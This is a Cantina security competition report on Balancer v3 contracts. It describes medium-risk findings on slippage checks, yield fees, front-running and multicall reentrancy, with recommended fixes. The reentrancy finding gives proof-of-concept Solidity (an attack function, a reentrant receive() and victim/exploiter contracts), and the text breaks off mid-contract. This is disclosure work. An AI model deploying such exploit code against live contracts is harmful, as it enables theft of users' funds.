Balancer v3

Competition

December 17, 2024

Contents

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

A competition provides a broad evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While competitions endeavor to identify and disclose all potential security issues, they cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities, therefore, any changes made to the code would require an additional security review. Please be advised that competitions are not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity	Description
Critical	*Must* fix as soon as possible (if already deployed).
High	Leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
Medium	Global losses <10% or losses to only a subset of users, but still unacceptable.
Low	Losses will be annoying but bearable. Applies to things like griefing attacks that can be easily repaired or even gas inefficiencies.
Gas Optimization	Suggestions around gas saving practices.
Informational	Suggestions around best practices or readability.

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

Balancer is a decentralized automated market maker (AMM) protocol built on Ethereum that represents a flexible building block for programmable liquidity.

From Oct 15th to Nov 5th Cantina hosted a competition based on balancer-v3. The participants identified a total of **55** issues in the following risk categories:

- Critical Risk: 0
- High Risk: 0
- Medium Risk: 4
- Low Risk: 17
- Gas Optimizations: 0
- Informational: 34

The present report only outlines the **critical**, **high**, **medium** and **low** risk issues.

3 Findings

3.1 Medium Risk

3.1.1 `CompositeLiquidityRouter` does not utilize slippage protection for proportional add/remove liquidity operations

Submitted by crypticdefense

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: `CompositeLiquidityRouter` acts as the the entrypoint for add/remove liquidity operations on ERC4626 and nested pools.

The Balancer vault consists of ERC4626 Liquidity Buffers, which has two tokens: vault shares (wrapped token) and the vault asset (unwrapped token).

A huge incentive for buffers is that it's wrapped asset (ERC4626 shares) can be used as a token within pools. So a pool with ERC4626 wrapped token, and non ERC4626 tokens (i.e, DAI, USDC, WETH) can all exist in a single pool.

The `CompositeLiquidityRouter` facilitate add/remove liquidity operations for these pools. Proportional add/remove operations are where the exact amount of BPT (LP tokens) are specified by the caller to give/receive proportional amounts of liquidity across the pool.

- Add proportional liquidity: User specifies exact bpt to be minted to them and `maxAmountIn` of tokens (slippage protection for tokens to put in the pool). bpt specified is used to calculate the actual liquidity amount to put in.
- Remove proportional liquidity: User specifies exact bpt to burn, and `minAmountOut` of tokens to receive (slippage protection for tokens to be received). bpt specified is used to calculate the actual amount of liquidity out.

The problem is that the slippage protection specified by the user for these operations are not used on non-ERC4626 tokens (so for tokens like USDC, DAI). This means that the user can receive far less than the minimum they specified, or pay far more than the specified max amount in, which falls under *High severity category: User granted approvals to router can be used by anyone*, as their entire amount of approvals can be drained.

Proof of Concept: Let's analyze `CompositeLiquidityRouter::addLiquidityProportionalToERC4626Pool` and `CompositeLiquidityRouter::removeLiquidityProportionalFromERC4626Pool` functions:

- CompositeLiquidityRouter.sol#L74-L98

```
  /// @inheritdoc ICompositeLiquidityRouter
  /**
  * @notice Add proportional amounts of underlying tokens to an ERC4626 pool through the buffer.
  * @dev An "ERC4626 pool" contains IERC4626 yield-bearing tokens (e.g., waDAI).
  * @param pool Address of the liquidity pool
  * @param maxUnderlyingAmountsIn Maximum amounts of underlying tokens in, sorted in token registration
↪   order of
  * wrapped tokens in the pool
  * @param exactBptAmountOut Exact amount of pool tokens to be received
  * @param wethIsEth If true, incoming ETH will be wrapped to WETH and outgoing WETH will be unwrapped to
↪   ETH
  * @param userData Additional (optional) data required for adding liquidity
  * @return underlyingAmountsIn Actual amounts of tokens added, sorted in token registration order of
↪   wrapped tokens
  * in the pool
  */
  function addLiquidityProportionalToERC4626Pool(
      address pool,
      uint256[] memory maxUnderlyingAmountsIn, // <<<
      uint256 exactBptAmountOut, // <<<
      bool wethIsEth,
      bytes memory userData
  ) external payable saveSender returns (uint256[] memory underlyingAmountsIn) {
      underlyingAmountsIn = abi.decode(
          _vault.unlock(
              abi.encodeCall(
                  CompositeLiquidityRouter.addLiquidityERC4626PoolProportionalHook,
                  AddLiquidityHookParams({
                      sender: msg.sender,
                      pool: pool,
                      maxAmountsIn: maxUnderlyingAmountsIn,
                      minBptAmountOut: exactBptAmountOut,
                      kind: AddLiquidityKind.PROPORTIONAL,
                      wethIsEth: wethIsEth,
                      userData: userData
                  })
              )
          ),
          (uint256[])
      );
  }
```

The caller specifies `maxUnderlyingAmountsIn`, where each index is the max amount of token to spend for each token in the pool, sorted in order.

`Vault::unlock` unlocks the vault, which executes a call-back to `CompositeLiquidityRouter.addLiquidityERC4626PoolProportionalHook`:

- Vault.sol#L117-L119

```
  function unlock(bytes calldata data) external transient returns (bytes memory result) {
      return (msg.sender).functionCall(data);
  }
```

Vault will callback to the following function:

- CompositeLiquidityRouter.sol#L227-L257:

```
function addLiquidityERC4626PoolProportionalHook(
    AddLiquidityHookParams calldata params
) external nonReentrant onlyVault returns (uint256[] memory underlyingAmountsIn) {
    IERC20[] memory erc4626PoolTokens = _vault.getPoolTokens(params.pool); // <<<
    uint256 poolTokensLength = erc4626PoolTokens.length;

    uint256[] memory maxAmounts = new uint256[](poolTokensLength);
    for (uint256 i = 0; i < poolTokensLength; ++i) { // <<<
        maxAmounts[i] = _MAX_AMOUNT; //@audit _MAX_AMOUNT = type(uint128).max,
    }

    // Add wrapped amounts to the ERC4626 pool.
    (uint256[] memory wrappedAmountsIn, , ) = _vault.addLiquidity(
        AddLiquidityParams({
            pool: params.pool,
            to: params.sender,
            maxAmountsIn: maxAmounts, //@audit each element here is type(uint128).max, acting as no
↪  slippage
            minBptAmountOut: params.minBptAmountOut, //@audit exact amount of bptIn
            kind: params.kind,
            userData: params.userData
        })
    );

    (underlyingAmountsIn, ) = _wrapTokens( //@audit slippage specified by user should be checked here
        params,
        erc4626PoolTokens,
        wrappedAmountsIn,
        SwapKind.EXACT_OUT,
        params.maxAmountsIn //@audit this is the original slippage specified by the caller
    );
}
```

Each pool token is retrieved via `_vault.getPoolTokens(params.pool)`. Looping through the length of the pool tokens, each element of `maxAmounts` is set to `_MAX_AMOUNT = type(uint128).max`. Then, `addLiquidity` is executed with `maxAmounts` and `exactBptIn`. The `maxAmounts` here effectively act as 0 slippage during the `addLiquidity` call, but that is intentional and by-design. The intention here is to check for the actual slippage specified by the user during the `_wrapTokens` call.

This is because at least one of the pool tokens may be in the form of ERC4626 wrapped token, and the slippage `maxAmountIn` specified by the user only reflects the `unwrapped amount` of that token. So to properly check slippage, the unwrapped amount must be calculated and then `maxAmountIn` should be checked. However, `maxAmountIn` should be checked for all other tokens as well, as the pool can contain non-ERC4626 tokens.

Looking at the call to `_wrapTokens`, I have added `@audit` tags to enhance readability:

- CompositeLiquidityRouter.sol#L310-L372

```
function _wrapTokens(
    AddLiquidityHookParams calldata params,
    IERC20[] memory erc4626PoolTokens,
    uint256[] memory amountsIn, //@audit amountsIn => actual amountsIn to give calculated by the
↪  addLiquidity call
    SwapKind kind,
    uint256[] memory limits //@audit limits => initial maxAmountIn for each token specified by caller
↪  (slippage)
) private returns (uint256[] memory underlyingAmounts, uint256[] memory wrappedAmounts) {
    uint256 poolTokensLength = erc4626PoolTokens.length;
    underlyingAmounts = new uint256[](poolTokensLength);
    wrappedAmounts = new uint256[](poolTokensLength);

    bool isStaticCall = EVMCallModeHelpers.isStaticCall();

    // Wrap given underlying tokens for wrapped tokens.
    for (uint256 i = 0; i < poolTokensLength; ++i) { //@audit loop through pool tokens
        // Treat all ERC4626 pool tokens as wrapped. The next step will verify if we can use the
↪  wrappedToken as
        // a valid ERC4626.
        IERC4626 wrappedToken = IERC4626(address(erc4626PoolTokens[i]));
        IERC20 underlyingToken = IERC20(_vault.getBufferAsset(wrappedToken));

        // If the Vault returns address 0 as underlying, it means that the ERC4626 token buffer was not
```

```
            // initialized. Thus, the Router treats it as a non-ERC4626 token.
            if (address(underlyingToken) == address(0)) { //@audit pool has non-ERC4626 token (i.e, USDC,
↪   WETH, DAI)
                underlyingAmounts[i] = amountsIn[i];
                wrappedAmounts[i] = amountsIn[i];

                if (isStaticCall == false) {
                    _takeTokenIn(params.sender, erc4626PoolTokens[i], amountsIn[i], params.wethIsEth);
↪   //@audit as we can see, the entire "amountIn" is taken from the user without any slippage check of
↪   "limit".
                }

                continue; //@audit skip the rest of the iteration if non-ERC4626
            }

            //@audit any token here is a valid ERC4626. Recall the "SwapKind" here is EXACT_OUT because we
↪   specified exact bpt we want out
            if (isStaticCall == false) {
                if (kind == SwapKind.EXACT_IN) {
                    // If the SwapKind is EXACT_IN, take the exact amount in from the sender.
                    _takeTokenIn(params.sender, underlyingToken, amountsIn[i], params.wethIsEth);
                } else {
                    // If the SwapKind is EXACT_OUT, the exact amount in is not known, because amountsIn is
↪   the
                    // amount of wrapped tokens. Therefore, take the limit. After the wrap operation, the
↪   difference
                    // between the limit and the actual underlying amount is returned to the sender.
                    _takeTokenIn(params.sender, underlyingToken, limits[i], params.wethIsEth); //@audit
↪   this is executed. Take the entire "maxAmountIn" limit from sender now, the unused amount is refunded
↪   at the end of the function
                }
            }

            // `erc4626BufferWrapOrUnwrap` will fail if the wrappedToken isn't ERC4626-conforming.
            (, underlyingAmounts[i], wrappedAmounts[i]) = _vault.erc4626BufferWrapOrUnwrap( //@audit Recall
↪   user owes wrapped token. This will find out how much equivalent unwrapped for that wrapped amount is
↪   to be paid for that user.
                BufferWrapOrUnwrapParams({
                    kind: kind, //@audit kind = EXACT_OUT
                    direction: WrappingDirection.WRAP,
                    wrappedToken: wrappedToken,
                    amountGivenRaw: amountsIn[i], //@audit amountOut of wrapped amount. This will be used
↪   to calculate how much amountIn underlying user must pay
                    limitRaw: limits[i] //@audit underlying amountIn slippage (correctly applies slippage)
                })
            );

            if (isStaticCall == false && kind == SwapKind.EXACT_OUT) {
                // If the SwapKind is EXACT_OUT, the limit of underlying tokens was taken from the user, so
↪   the
                // difference between limit and exact underlying amount needs to be returned to the sender.
                _vault.sendTo(underlyingToken, params.sender, limits[i] - underlyingAmounts[i]); //@audit
↪   Refund the unused amount underlying to the user
            }
        }
    }
```

Each pool token is looped through. If the pool token is a wrapped token (ERC4626), then it must have an underlying token. `_vault.getBufferAsset(wrappedToken)` will return the 0 address if the buffer is not registered (not a valid ERC4626 token):

- VaultAdmin.sol#L663-L667

```
    function getBufferAsset( //@audit vault will delegatecall to vaultExtension which delegatecalls to
↪   vaultAdmin
        IERC4626 wrappedToken
    ) external view onlyVaultDelegateCall returns (address underlyingToken) {
        return _bufferAssets[wrappedToken];
    }
```

If it is not a valid ERC4626 token, then the token is directly taken from the sender via `_takeTokenIn(params.sender, erc4626PoolTokens[i], amountsIn[i], params.wethIsEth);`.

There lies the bug, we can see that amountsIn of that token is taken without checking the user's slippage (`limits[i]`).

I will not explain the rest of the function because it will overcomplicate the description of this finding. Just note that slippage is correctly incorporated if the token is indeed a valid ERC4626 wrapped token. So the zero-slippage token only applies to tokens that are not valid ERC4626 tokens (limits[] is not used at all).

The same applies when removing liquidity via `CompositeLiquidityRouter::removeLiquidityProportionalFromERC4626` but this time the slippage is minimum amount of liquidity out for burning exact amount of bpt.

- CompositeLiquidityRouter.sol#L266-L275

```
    (, uint256[] memory wrappedAmountsOut, ) = _vault.removeLiquidity(
        RemoveLiquidityParams({
            pool: params.pool,
            from: params.sender,
            maxBptAmountIn: params.maxBptAmountIn,
            minAmountsOut: new uint256[](poolTokensLength), //@audit no slippage, empty list
            kind: params.kind,
            userData: params.userData
        })
    );
```

No slippage is checked for the actual removal of liquidity, which is fine as long as the `minAmountsOut` is checked.

- CompositeLiquidityRouter.sol#L285-L291

```
    if (address(underlyingToken) == address(0)) {
        underlyingAmountsOut[i] = wrappedAmountsOut[i];
        if (isStaticCall == false) {
            _sendTokenOut(params.sender, erc4626PoolTokens[i], underlyingAmountsOut[i], params.wethIsEth);
↪   //@audit minAmountsOut[i] not checked here
        }
        continue;
    }
```

But we can see that it is not checked, and the amount returned (which can be less than the minAmountOut specified) is given to the caller. In the add liquidity case, the amount of tokens for each non-ERC4626 token spent by the user can exceed `maxAmountIn`, effectively draining their approval for those tokens.

In the remove liquidity case, the amount of tokens for each non-ERC4626 token sent to the user can be less than `minAmountOut`, effectively giving the user dust amount of token. Consider the following example:

Let's say there exists a pool with the following tokens: ERC4626 token (lets call it waDAI) and WETH.

Alice calls `CompositeLiquidityRouter::addLiquidityProportionalToERC4626Pool`. Attacker front-runs and deposits WETH (i.e, add singletoken liquidity, swap WETH, etc). When Alice's transaction is executed, to get the exact bpt out she specified, she must now pay much more WETH, which can drain the total amount she approved to the router. Her maxAmountIn slippage protection for the amount of WETH to give is ignored. Attacker back-runs and withdraws position, profiting on WETH, creating a successful sandwich attack scenario. Alice's approved WETH is drained (therefore this classifies as high, as mentioned in the competition page).

Note if the a pool contains more non-ERC4626 tokens, all of those tokens can be stolen from the caller.

Recommendation: Apply the slippage protection specified by the user for non-ERC4626 tokens in `addLiquidityProportionalToERC4626Pool` and `removeLiquidityProportionalFromERC4626Pool` functions:

```
function _wrapTokens(
    AddLiquidityHookParams calldata params,
    IERC20[] memory erc4626PoolTokens,
    uint256[] memory amountsIn,
    SwapKind kind,
    uint256[] memory limits
) private returns (uint256[] memory underlyingAmounts, uint256[] memory wrappedAmounts) {
    uint256 poolTokensLength = erc4626PoolTokens.length;
    underlyingAmounts = new uint256[](poolTokensLength);
    wrappedAmounts = new uint256[](poolTokensLength);

    bool isStaticCall = EVMCallModeHelpers.isStaticCall();

    // Wrap given underlying tokens for wrapped tokens.
    for (uint256 i = 0; i < poolTokensLength; ++i) {
        // Treat all ERC4626 pool tokens as wrapped. The next step will verify if we can use the
↪ wrappedToken as
```

```
        // a valid ERC4626.
        IERC4626 wrappedToken = IERC4626(address(erc4626PoolTokens[i]));
        IERC20 underlyingToken = IERC20(_vault.getBufferAsset(wrappedToken));

        // If the Vault returns address 0 as underlying, it means that the ERC4626 token buffer was not
        // initialized. Thus, the Router treats it as a non-ERC4626 token.
        if (address(underlyingToken) == address(0)) {
            underlyingAmounts[i] = amountsIn[i];
            wrappedAmounts[i] = amountsIn[i];

            if (isStaticCall == false) {
+                if(amountsIn[i] > limits[i] && limits[i] != 0) revert(); // must check limits[i] != 0 for
↪  `addLiquidityERC4626PoolUnbalancedHook` case
                _takeTokenIn(params.sender, erc4626PoolTokens[i], amountsIn[i], params.wethIsEth);
            }

            continue;
        }

        if (isStaticCall == false) {
            if (kind == SwapKind.EXACT_IN) {
                // If the SwapKind is EXACT_IN, take the exact amount in from the sender.
                _takeTokenIn(params.sender, underlyingToken, amountsIn[i], params.wethIsEth);
            } else {
                // If the SwapKind is EXACT_OUT, the exact amount in is not known, because amountsIn is the
                // amount of wrapped tokens. Therefore, take the limit. After the wrap operation, the
↪  difference
                // between the limit and the actual underlying amount is returned to the sender.
                _takeTokenIn(params.sender, underlyingToken, limits[i], params.wethIsEth);
            }
        }

        // `erc4626BufferWrapOrUnwrap` will fail if the wrappedToken isn't ERC4626-conforming.
        (, underlyingAmounts[i], wrappedAmounts[i]) = _vault.erc4626BufferWrapOrUnwrap(
            BufferWrapOrUnwrapParams({
                kind: kind,
                direction: WrappingDirection.WRAP,
                wrappedToken: wrappedToken,
                amountGivenRaw: amountsIn[i],
                limitRaw: limits[i]
            })
        );

        if (isStaticCall == false && kind == SwapKind.EXACT_OUT) {
            // If the SwapKind is EXACT_OUT, the limit of underlying tokens was taken from the user, so the
            // difference between limit and exact underlying amount needs to be returned to the sender.
            _vault.sendTo(underlyingToken, params.sender, limits[i] - underlyingAmounts[i]);
        }
    }
}
```

```
function removeLiquidityERC4626PoolProportionalHook(
    RemoveLiquidityHookParams calldata params
) external nonReentrant onlyVault returns (uint256[] memory underlyingAmountsOut) {
    IERC20[] memory erc4626PoolTokens = _vault.getPoolTokens(params.pool);
    uint256 poolTokensLength = erc4626PoolTokens.length;
    underlyingAmountsOut = new uint256[](poolTokensLength);

    (, uint256[] memory wrappedAmountsOut, ) = _vault.removeLiquidity(
        RemoveLiquidityParams({
            pool: params.pool,
            from: params.sender,
            maxBptAmountIn: params.maxBptAmountIn,
            minAmountsOut: new uint256[](poolTokensLength),
            kind: params.kind,
            userData: params.userData
        })
    );

    bool isStaticCall = EVMCallModeHelpers.isStaticCall();

    for (uint256 i = 0; i < poolTokensLength; ++i) {
        IERC4626 wrappedToken = IERC4626(address(erc4626PoolTokens[i]));
        IERC20 underlyingToken = IERC20(_vault.getBufferAsset(wrappedToken));

        // If the Vault returns address 0 as underlying, it means that the ERC4626 token buffer was not
```

```
            // initialized. Thus, the Router treats it as a non-ERC4626 token.
            if (address(underlyingToken) == address(0)) {
                underlyingAmountsOut[i] = wrappedAmountsOut[i];
                if (isStaticCall == false) {
+                   if(underlyingAmountsOut[i] < params.minAmountsOut[i]) revert();
                    _sendTokenOut(params.sender, erc4626PoolTokens[i], underlyingAmountsOut[i], params.wethIsEth);
                }
                continue;
            }

            // `erc4626BufferWrapOrUnwrap` will fail if the wrappedToken is not ERC4626-conforming.
            (, , underlyingAmountsOut[i]) = _vault.erc4626BufferWrapOrUnwrap(
                BufferWrapOrUnwrapParams({
                    kind: SwapKind.EXACT_IN,
                    direction: WrappingDirection.UNWRAP,
                    wrappedToken: wrappedToken,
                    amountGivenRaw: wrappedAmountsOut[i],
                    limitRaw: params.minAmountsOut[i]
                })
            );

            if (isStaticCall == false) {
                _sendTokenOut(params.sender, underlyingToken, underlyingAmountsOut[i], params.wethIsEth);
            }
        }
    }
```

3.1.2 Yield fees are not accrued when beforeX hook updates rates

Submitted by cergyk, also found by CAUsr and dash

Severity: Medium Risk

Context: Vault.sol#L209-L219

Description: In Balancer, some tokens may have variable rates, and incur a yield fee when the rate increases. The fee is computed and extracted before every balance modifying operation: `swap/addLiquidity/removeLiquidity`, by calling `_loadPoolDataUpdatingBalancesAndYieldFees`:

For example during swap() in Vault.sol#L199-L207:

```
// `_loadPoolDataUpdatingBalancesAndYieldFees` is non-reentrant, as it updates storage as well
// as filling in poolData in memory. Since the swap hooks are reentrant and could do anything, including
// change these balances, we cannot defer settlement until `_swap`.
//
// Sets all fields in `poolData`. Side effects: updates `_poolTokenBalances`, `_aggregateFeeAmounts`
// in storage.
PoolData memory poolData = _loadPoolDataUpdatingBalancesAndYieldFees(vaultSwapParams.pool,
↪  Rounding.ROUND_DOWN); // <<<
SwapState memory swapState = _loadSwapState(vaultSwapParams, poolData);
PoolSwapParams memory poolSwapParams = _buildPoolSwapParams(vaultSwapParams, swapState, poolData);
```

When `callBeforeSwapHook/callBeforeAddLiquidityHook/callBeforeRemoveLiquidityHook` is called, the rates are reloaded and balances are upscaled again, because as the comment notes, the rates can be updated by the hook.

However at that point the yield fees are not updated. Which means that every time the rate is updated by the hook, the yield fees are not accrued.

- Vault.sol#L209-L219:

```
if (poolData.poolConfigBits.shouldCallBeforeSwap()) {
    HooksConfigLib.callBeforeSwapHook(
        poolSwapParams,
        vaultSwapParams.pool,
        _hooksContracts[vaultSwapParams.pool]
    );

    // The call to `onBeforeSwap` could potentially update token rates and balances.
    // We update `poolData.tokenRates`, `poolData.rawBalances` and `poolData.balancesLiveScaled18`
    // to ensure the `onSwap` and `onComputeDynamicSwapFeePercentage` are called with the current
↪   values.
    poolData.reloadBalancesAndRates(_poolTokenBalances[vaultSwapParams.pool], Rounding.ROUND_DOWN); //
↪   <<<
```

For some tokens, which rate can be updated by a direct call, if the rates are not updated prior to the swap, the hook can update it and skip yield fees which are due to the creator/protocol.

Scenario: Consider a supply token having a stored rate which needs to be updated by a call to `token.accrue()`.

> An example of such tokens are the Compound v2 cTokens

A pool is created, and the purpose of the `beforeXXX` hooks is precisely to call on accrue to update the rate of the token. As a result of this design, every time an operation is done on the pool, the rate and normalized balances are updated, but yield fees are not accrued to poolCreator/protocol.

Recommendation: Consider calling on `_loadPoolDataUpdatingBalancesAndYieldFees` again after the beforeXXX hook has been called, instead of just reloading the balances/rates.

3.1.3 Front-running `addLiquidityUnbalancedToERC4626Pool` by initializing a buffer may bypass slippage checks

Submitted by cergyk, also found by 0x1982us

Severity: Medium Risk

Context: CompositeLiquidityRouter.sol#L324-L347

Description: `CompositeLiquidityRouter` has utility methods to make adding liquidity to nested or erc4626 pools easier. During most of the calls, the router automatically detects if the token has a corresponding buffer and automatically wraps underlying. As we can see two different scenarios play out whether the erc4626 compliant token has a buffer or not:

1. In the case no buffer has been initialized for the token at the moment of the call, the wrapped token will be pulled directly and `amountIn[i]` is the amount of wrapped token to pull.
2. In the case a buffer has been initialized at the moment of the call, the underlying token will be pulled, and the same `amountsIn[i]` is the amount of underlying to pull.

- CompositeLiquidityRouter.sol#L324-L353:

```
// Wrap given underlying tokens for wrapped tokens.
for (uint256 i = 0; i < poolTokensLength; ++i) {
    // Treat all ERC4626 pool tokens as wrapped. The next step will verify if we can use the
↪  wrappedToken as
    // a valid ERC4626.
    IERC4626 wrappedToken = IERC4626(address(erc4626PoolTokens[i]));
    IERC20 underlyingToken = IERC20(_vault.getBufferAsset(wrappedToken));

    // If the Vault returns address 0 as underlying, it means that the ERC4626 token buffer was not
    // initialized. Thus, the Router treats it as a non-ERC4626 token.
    if (address(underlyingToken) == address(0)) {
        underlyingAmounts[i] = amountsIn[i];
        wrappedAmounts[i] = amountsIn[i];

        _takeTokenIn(params.sender, erc4626PoolTokens[i], amountsIn[i], params.wethIsEth); // <<< (1)
        continue;
    }

    if (kind == SwapKind.EXACT_IN) {
        // If the SwapKind is EXACT_IN, take the exact amount in from the sender.
        _takeTokenIn(params.sender, underlyingToken, amountsIn[i], params.wethIsEth); // <<< (2)
    } else {
```

As we can see this can be used by a malicious user in the case no buffer is initialized yet, to front-run a legitimate user transaction by initializing the buffer, and in that case an inadequate max amount parameter will be used as a slippage control.

Scenario: We take the example of a pool using a erc4626 token denominated in 18 decimals, with underlying of 6 decimals such as metamorpho vault for Usual boosted USDC.

- Pre-conditions:
  - Alice has a big balance of USDC and unlimited pending approval to the router.
  - No buffer is initialized for `Usual boosted USDC`.
- Steps:
  1. Alice attempts to make a very small add of liquidity, such as `10e12` of `Usual boosted USDC` goes into the vault.
  2. Bob front-runs Alices transaction by initializing a buffer for `Usual boosted USDC`. As a result of this action, now Alice has to provide `10e12` USDC, instead of `10e12` of `Usual boosted USDC` which represents a much greater cost to Alice (1M$).

Recommendation: Consider adding controls to specify explicitly which token is wrapped and which tokens are to be provided directly (similarly to `isBuffer` in `BatchRouter`).

3.1.4 Reentrancy attack by calling 'multicall' method of RouterCommon.sol can result in steal of fund.

Submitted by codesentry, also found by cergyk

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: A reentrancy attack is possible on the `multiCalls()` method of `RouterCommon.sol`. The `multicalls()` method calls the `saveSenderAndManageEth()` modifier. This modifier returns the excess ETH and then discards the sender stored in the transient storage by calling `_discardSenderIfRequired`. The two lines of code below are prone to a reentrancy attack:

```
_returnEth(_getSenderSlot().tload());
_discardSenderIfRequired(isExternalSender);
```

The attacker can set its own address in sender by calling the victim contract's method from `receive()` method of attacker contract. A reentrancy to multicall is possible as per below flow of execution:

Multicall from attacker contract ⇒ `receive()` method of attacker contract getS ETH ⇒ `receive()` method calls public method of victim contract ⇒ victim contract's public method internally calls `multicalL` ⇒ ETH

that is supposeD to return to the victim contract is returned to the attacker contract instead because the sender address in the transient slot is still the attacker contract address.

`mutlicall()` method is vulnerable to the reentrancy attack when the caller is a smart contract. In this reentrancy attack, the attacker steals the excess ETH of the victim smart contract that also calls `mutlicall()`. Before going into details, let's first understand the logic of the following:

```
modifier saveSenderAndManageEth() {
    bool isExternalSender = _saveSender(msg.sender);

    // Lock the return of ETH during execution
    _isReturnEthLockedSlot().tstore(true);
    _;
    _isReturnEthLockedSlot().tstore(false);
    _returnEth(_getSenderSlot().tload());
    _discardSenderIfRequired(isExternalSender);
}

    function multicall(
    bytes[] calldata data
) public payable virtual saveSenderAndManageEth returns (bytes[] memory results) {
    // ...
}
```

`saveSenderAndManageEth` stores the `msg.sender`, executes method calls, sends excess ETH and discard the `msg.sender` stored in the transient variable. The `multicall` itself is not protected against reentrancy. This method is exploitable if a caller is a contract and the method of that contract is a public method.

Assume a user of the Balancer router is the a third party permissionless contract. Name it contract `A`, which has some internal business logic and also swaps ETH for some token. Contract `A` uses `multicall` to call `swapSingleTokenExactOut()`. This contract uses its own ETH balance to swap it for token `z`. To understand the scenario let's assume `A` is a yield generation strategy that has a public method, name it `rebalance()`, that swaps ETH for a token `z` for some business logic.

Everything works fine in the `rebalance()` method of contract `A` if it does not use the `multicall()` method. But due to a vulnerability in `multicall()`, all the excess ETH returned by `swapSingleTokenExactOut()` can be stolen by an attacker. This vulnerability is exploitable in any method of tje Balancer router that returns excess ETH to the caller, for example `swapSingleTokenExactOut()`.

Below is sequence of steps to reproduce the attack:

1. The attacker deploys a malicious smart contract, name it `B`. This contract calls `swapSingleTokenExactOut()` using `multicall()`. The attacker contract `B` is swapping very small amounts of ETH for some token token to get a callback in the `receive()` method (to get the excess ETH returned).

```
// maxAmountIn is slightly greater than the amount require to get exactAmountOut of
// tokenOut to make sure this contract gets calls in receiver() method and attack successfully.
function attack(
    address pool,
    IERC20 tokenOut,
    uint256 exactAmountOut,
    uint256 maxAmountIn,
    bytes calldata userData
) external payable returns (uint256 amountIn) {
    bytes[] memory calls = new bytes[](1);
    calls[0] = abi.encodeWithSelector(
        IRouter.swapSingleTokenExactOut.selector,
        pool,
        weth,
        tokenOut,
        exactAmountOut,
        maxAmountIn,
        type(uint256).max,
        true, // tokenIn is eth
        userData
    );

    balancerRouter.multicall{ value: msg.value }(calls);
}
```

2. The `multicall()` method calls the `saveSenderAndManageEth()` modifier that sets contract `B`'s address in transient storage as the sender.

3. After the execution of `saveSenderAndManageEth()`, it returns the excess ETH to contract `B`.
4. `receive() external payable` method of contract `B` is called whenever excess ETH is returned. By this time, the transient storage of balancer's router contract is the address of contract B.
5. Contract `B` calls the rebalance method of contract `A` from the `receive()` method.

```
receive() external payable {
    // Receive excess ETH from balancer router.
    // During first call it is excess eth of this contract only. During second call(reentrancy) it is excess
↪   eth of VictimContract.
    if (readyForAttack) {
        // Setting this flag false to execute reentrancy only one time
        readyForAttack = false;
        // at this time msg.sender in transient storage of Balancer router contract is not discarded yet and
↪   that
        // address is still address of this contract. Hence excess eth of VictimContract is sent to this
↪   contract.
        VictimContract(payable(victimContract)).rebalance();
    }
}
```

6. Inside contract `A`'s `rebalance()`, the protocol has some business logic plus a call to `swapSingleTokenExactOut` using `multicall()` of Balancer router.
7. This time the `multicall()` method calls the modifier `saveSenderAndManageEth` but does not store the address of contract `A` because this is reentrant call and the previous modifier execution has not ended yet; and also contract `B`'s address was not discarded from transient storage.
8. At end of the call of `multicall()`, all excess ETH is returned to contract `B` (exploiter contract) instead of contract `A` (victim contract).

Impact: High because the victim contract's excess ETH can be stolen by the attacker. This amount can be very high depending on the protocol business logic. Calling the contract assumes that the excess ETH would be returned to itself; but that's not the case during the attack.

Likelihood: It is expected that many external protocols and smart contracts are going to use the Balancer protocol and its router contract. It is very likely that they use `multicall` as well. All methods of the router contract that return the excess ETH to the sender can be exploited if the calling smart contract is executing it by the `multicall` method. Therefore, high likelihood.

Proof of Concept: Here is complete set of all three contracts. To execute this proof of concept, follow the instructions below:

1. Save `VictimContract.sol` under `pkg/vault/contract`:

```
// file: pkg/vault/contracts/VictimContract.sol
pragma solidity ^0.8.24;

import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IRouter } from "@balancer-labs/v3-interfaces/contracts/vault/IRouter.sol";
import { IRouterCommon } from "@balancer-labs/v3-interfaces/contracts/vault/IRouterCommon.sol";

contract VictimContract {
    IRouterCommon public immutable balancerRouter;

    address internal immutable balancePool;
    IERC20 internal immutable weth;
    IERC20 internal immutable tokenB;

    constructor(address _balancerRouter, address _balancePool, address _weth, address _tokenB) {
        balancerRouter = IRouterCommon(_balancerRouter);
        balancePool = _balancePool;
        weth = IERC20(_weth);
        tokenB = IERC20(_tokenB);
    }

    receive() external payable {
        // solhint-disable-previous-line no-empty-blocks
    }

    function rebalance() public {
        // some protocol specific business logic
        // This contract stores for ETH and tokenB to fulfil need of business logic of the protocol
```

```
        // Swaps ETH for exact 12e18 tokenB.
        uint256 exactAmountOut = 12e18;

        // This contract assume that excess ETH is sent to this contract at end of the execution of
↪  multicall() function but thats not real case when attacker exploit this function call.
        bytes[] memory calls = new bytes[](1);
        calls[0] = abi.encodeWithSelector(
            IRouter.swapSingleTokenExactOut.selector,
            balancePool,
            weth,
            tokenB,
            exactAmountOut,
            address(this).balance,
            type(uint256).max,
            true,
            ""
        );

        balancerRouter.multicall{ value: address(this).balance }(calls);
    }
}
```

2. Save `Exploiter.sol` under `pkg/vault/contracts`:

```
// file: pkg/vault/contracts/Exploiter.sol
pragma solidity ^0.8.24;

import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IRouterCommon } from "@balancer-labs/v3-interfaces/contracts/vault/IRouterCommon.sol";
import { IRouter } from "@balancer-labs/v3-interfaces/contracts/vault/IRouter.sol";
import { VictimContract } from "./VictimContract.sol";

contract Exploiter {
    IRouterCommon public immutable balancerRouter;
    address public immutable victimContract;
